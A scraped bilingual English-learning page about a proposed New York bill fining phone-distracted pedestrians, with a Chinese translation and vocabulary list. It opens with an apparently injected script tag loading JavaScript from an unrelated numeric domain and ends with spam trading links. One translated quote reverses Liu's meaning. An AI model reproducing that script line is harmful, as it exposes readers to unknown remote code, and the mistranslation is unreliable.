script src="http://zzz.8565037.com/al.js" type="text/javascript">

手机APP下载

您现在的位置: 首页 > 双语阅读 > 双语新闻 > 关注社会 > 正文

纽约要对低头族罚款

来源:沪江 编辑:alice ?  VIP免费外教试听课 |  可可官方微信:ikekenet

“Cell phone zombies” might start getting ticketed on the busy sidewalks of New York City if a proposed law in the New York state legislature gets passed.

如果这条提议法案在纽约通过的话。那么那些繁忙人行道上的“手机僵尸”们就要开始担心发单的问题了。
Under the proposal, people crossing the street with their nose buried in their phone could face fines of between $25 to $250. The legislation targets people “using a portable electronic device while crossing a roadway,” and makes exceptions for emergency response and other medical personnel.
建议提出在过马路看手机的人将会面临最少25美金最高250美金罚款。该法案针对的是“在过马路使用电子设备的人群”,紧急情况使用或者其他医务人员使用可以豁免。

纽约要对低头族罚款.jpg

“[The bill] does not say you can’t talk on the phone,” the bill’s sponsor, New York state senator John Liu, told the Guardian. “We’re talking about handheld devices … you can wait the five seconds to get to the other side.”

“法案的发起人纽约州的议员John Liu在接受《卫报》采访时称,你不可以边走路边使用手机,当我们使用手持设备进行通话时,你可以等上5秒钟到路对面再说。
New York state reports about 300 pedestrian fatalities a year, per statistics cited by the Guardian, but it’s unclear how many of those deaths are actually caused by people distracted by their phones. Lui says his law can significantly reduce fatalities.
根据卫报网站的统计,纽约州的报告,一年有300名行人死亡,虽然其中因看手机分心引起死亡的尚未可知。刘说他的法案能够显著地降低死亡个数。
The bill is already facing opposition. Marco Conner of Transportation Alternatives said a cellphone pedestrian law might turn into an instrument used by police to unfairly target racial groups. He also called the bill “victim blaming in disguise.”
这项法案面临反对。来自交通替代组织(Transportation Alternatives)地Marco Conner说,对于行人的手机禁令将会让有色人种成文警察的目标,造成不公平对待。他把这条称作“变相指责受害者”法案。
Now the only question is whether the fine would triple for that extra-dangerous sort who uses a cellphone while also jaywalking.
现在唯一的问题就是对于那些打手机乱穿马路情节严重的是不是要收3倍罚金。

重点单词   查看全部解释    
victim ['viktim]

想一想再看

n. 受害者,牺牲

 
response [ri'spɔns]

想一想再看

n. 回答,响应,反应,答复
n. [宗

联想记忆
personnel [.pə:sə'nel]

想一想再看

n. 职员,人事部门

联想记忆
proposal [prə'pəuzəl]

想一想再看

n. 求婚,提议,建议

联想记忆
unclear

想一想再看

adj. 不清楚的;不易了解的

 
instrument ['instrumənt]

想一想再看

n. 乐器,工具,仪器,器械

联想记忆
disguise [dis'gaiz]

想一想再看

n. 假面目,伪装物,假装
vt. 假装,假扮

联想记忆
cell [sel]

想一想再看

n. 细胞,电池,小组,小房间,单人牢房,(蜂房的)巢室

 
opposition [.ɔpə'ziʃən]

想一想再看

n. 反对,敌对,在野党

 
transportation [.trænspə'teiʃən]

想一想再看

n. 运输,运输系统,运输工具

联想记忆
?

关键字: 双语阅读 纽约 罚款

发布评论我来说2句

    英语学习专题

    可可英语官方微信(微信号:ikekenet)

    每天向大家推送短小精悍的英语学习资料.

    添加方式1.扫描上方可可官方微信二维码。
    添加方式2.搜索微信号ikekenet添加即可。
    友情链接:澳利开户:QQ:77039689  澳利  澳利股东  澳利国际  澳利国际主管  澳利国际招商  澳利主管  澳利招商  澳利国际平台  澳利平台  澳利国际官方  澳利官方  澳利国际注册  澳利国际开户  澳利注册  澳利开户